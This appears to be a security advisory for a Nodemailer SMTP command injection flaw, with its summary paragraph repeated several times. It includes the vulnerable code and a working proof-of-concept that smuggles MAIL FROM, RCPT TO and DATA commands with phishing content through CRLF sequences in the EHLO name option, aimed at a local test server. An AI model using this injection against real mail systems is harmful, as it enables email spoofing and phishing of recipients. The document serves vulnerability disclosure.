CVE-2026-82853

Nodemailer versions before 8.0.5 contain an SMTP command injection vulnerability in the transport name option used in EHLO/HELO commands. The name parameter is concatenated directly into SMTP commands without sanitizing carriage return and line feed characters, allowing attackers to inject arbitrary SMTP commands for email spoofing and phishing attacks.

Nodemailer versions before 8.0.5 contain an SMTP command injection vulnerability in the transport name option used in EHLO/HELO commands. The name parameter is concatenated directly into SMTP commands without sanitizing carriage return and line feed characters, allowing attackers to inject arbitrary SMTP commands for email spoofing and phishing attacks.

Nodemailer versions before 8.0.5 contain an SMTP command injection vulnerability in the transport name option used in EHLO/HELO commands. The name parameter is concatenated directly into SMTP commands without sanitizing carriage return and line feed characters, allowing attackers to inject arbitrary SMTP commands for email spoofing and phishing attacks.

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand('EHLO ' + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC

const nodemailer = require('nodemailer');
const net = require('net');

// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
    socket.write('220 test ESMTP\r\n');
    socket.on('data', data => {
        const lines = data.toString().split('\r\n').filter(l => l);
        lines.forEach(line => {
            console.log('SMTP CMD:', line);
            if (line.startsWith('EHLO') || line.startsWith('HELO'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('MAIL FROM'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('RCPT TO'))
                socket.write('250 OK\r\n');
            else if (line === 'DATA')
                socket.write('354 Go\r\n');
            else if (line === '.')
                socket.write('250 OK\r\n');
            else if (line === 'QUIT')
                { socket.write('221 Bye\r\n'); socket.end(); }
            else if (line === 'RSET')
                socket.write('250 OK\r\n');
        });
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;

    // Inject a complete phishing email via EHLO name
    const transport = nodemailer.createTransport({
        host: '127.0.0.1',
        port: port,
        secure: false,
        name: 'legit.host\r\nMAIL FROM:<[email protected]>\r\n'
            + 'RCPT TO:<[email protected]>\r\nDATA\r\n'
            + 'From: [email protected]\r\nTo: [email protected]\r\n'
            + 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
    });

    transport.sendMail({
        from: '[email protected]',
        to: '[email protected]',
        subject: 'Normal email',
        text: 'Normal content'
    }, () => { server.close(); process.exit(0); });
});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:

• Multi-tenant SaaS platforms with per-tenant SMTP configuration
• Admin…

Nodemailer versions before 8.0.5 contain an SMTP command injection vulnerability in the transport name option used in EHLO/HELO commands. The name parameter is concatenated directly into SMTP commands without sanitizing carriage return and line feed characters, allowing attackers to inject arbitrary SMTP commands for email spoofing and phishing attacks.

Nodemailer versions before 8.0.5 contain an SMTP command injection vulnerability in the transport name option used in EHLO/HELO commands. The name parameter is concatenated directly into SMTP commands without sanitizing carriage return and line feed characters, allowing attackers to inject arbitrary SMTP commands for email spoofing and phishing attacks.